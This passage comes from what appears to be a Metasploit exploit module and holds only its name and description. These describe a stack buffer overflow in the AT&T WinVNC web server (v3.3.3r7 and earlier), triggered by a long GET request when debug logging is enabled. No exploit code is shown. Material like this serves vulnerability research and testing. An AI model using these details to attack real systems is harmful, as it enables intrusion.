'Name' => 'WinVNC Web Server GET Overflow',
'Description' => %q{
This module exploits a buffer overflow in the AT&T WinVNC version
<= v3.3.3r7 web server. When debugging mode with logging is
enabled (non-default), an overly long GET request can overwrite
the stack. This exploit does not work well with VNC payloads!
